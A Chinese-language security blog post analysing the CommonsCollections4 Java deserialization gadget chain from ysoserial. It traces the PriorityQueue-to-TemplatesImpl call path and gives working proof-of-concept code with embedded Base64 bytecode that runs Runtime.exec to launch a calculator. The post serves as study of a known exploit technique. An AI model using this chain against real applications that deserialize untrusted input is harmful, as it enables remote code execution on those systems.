本文最后更新于:2024年10月9日 晚上
CC4:CC2前半段+CC3后半段
我这里直接跳过CC2了,CC2的后半段使用的是InvokerTransformer
触发
在GitHub上pull下来ysoserial
的源码,找到CommonsCollections4.java,
粗略看下来,应该是沿用了CC3的方式,采用InstantiateTransformer
的transform()
方法去触发TrAXFilter
类的构造函数,进而去调用TemplatesImpl
类的defineClass
,还是动态加载类的方式执行命令。
这里可以跳转到ysoserial
的Gadgets.createTemplatesImpl(String)
方法:
然后进一步调用了重载函数,最终返回的是一个模板类
继续回到CommonsCollections4.java,发现使用一个PriorityQueue
的类去序列化,所以好好研究一下这个类。根据翻译就知道,这是Java实现的优先队列库,方便开发,在java.util
中。
优先队列是什么,简单来说,它是一种基于队列衍生的高级数据结构,比如一群客户排队,但是突然有个VIP客户要插队,此时维持先进先出的普通队列数据结构就行不通了,所以实现了优先队列。优先队列中的每个元素都有一个额外的优先级属性,它的出队顺序与元素的优先级有关。
当然这里我们不关心它的具体实现,只关注其在反序列化过程中为什么会导致任意代码执行的问题。
找到PriorityQueue
的源码,看到其readObject
函数,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
在循环那里,调用了s.readObject
,所以我们需要知道这里的s是什么,回到ysoserial
的源码,发现压入队列的是一个新的类TransformingComparator
,顾名思义其是用于比较两个Transformer
的,在org.apache.commons.collections.comparators
中,点进去看看,继承了Serializable
没有实现单独的readObject
,发现一个比较函数,而比较函数里是调用了两个Transformer
的transform
方法的,所以入口点可能在这里。(这里我用成3.2.1版本的图了)
回到PriorityQueue
这里,其调用了一个heapify()
方法,跳转:
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
然后继续调用,在循环中siftDown
方法,传入队列中的每一个元素:
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
继续调用siftDownUsingComparator
方法,可以发现这里名字里带了一个比较,大概率和上面分析的入口点没差了:
这里应该就是优先队列中根据优先级来排序的部分,在if
语句调用了comparator
成员变量的compare
方法
这里明确说了,没有指定就默认排序
所以需要指定一个比较器,选择我们的TransformingComparator
也就是顺利成章了,PriorityQueue
重载了一个指定比较器的构造函数
现在可以开始构造我们的链子了:首先,适应高版本,然后相较于CC3,只改变了入口,ysoserial
的CC3入口是lazyMap
1 2 3 4 5 6 7 8 9 10 PriorityQueue.readObject() -> PriorityQueue.heapify() -> PriorityQueue.siftDown() -> PriorityQueue.siftDownUsingComparator() -> TransformingComparator.compare() -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TemplatesImpl.newTransformer() -> defineClass() -> newInstance()
下面编写测试代码:
首先导入commons-collections4
的包
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
然后直接将CC3的前半段copy,然后构造一个PriorityQueue
实例即可,这里这里导入的包均为4.0版本的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static void main (String[] args) throws Exception { byte [] CalcCode = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" + "W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" + "jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" + "GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" + "4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" + "ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" + "MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" + "HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" + "lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" + "2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" + "nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" + "AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" + "ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" + "bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==" ); TemplatesImpl calcTemp = new TemplatesImpl (); setFieldValue(calcTemp, "_bytecodes" , new byte [][] {CalcCode}); setFieldValue(calcTemp, "_name" , "CalcTemplatesImpl" ); setFieldValue(calcTemp, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{calcTemp}) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers); PriorityQueue<Object> queue = new PriorityQueue <>(1 ,new TransformingComparator (transformerChain)); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); ois.readObject(); }
可以发现这样运行并不会像分析的那样弹计算器,在PriorityQueue
类的795行打断点分析:
这里发现size=0直接跳过执行了,这里需要填充值,而且使用了右移运算,所以构造时将队列容量调为2
1 2 3 PriorityQueue<Object> queue = new PriorityQueue <>(2 ,new TransformingComparator (transformerChain)); queue.add("3xsh0re" ); queue.add("CC-4" );
成功弹出计算器:
CC链分析完整测试代码,可直接拉取